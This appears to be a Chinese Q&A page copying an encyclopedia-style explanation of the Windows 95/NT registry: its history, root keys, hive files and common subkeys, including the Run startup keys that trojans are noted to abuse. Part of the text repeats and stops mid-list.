然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好像独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好像你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 http://baike.baidu.com/view/979.htm
2023-07-20 11:16:125

关于注册表

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, 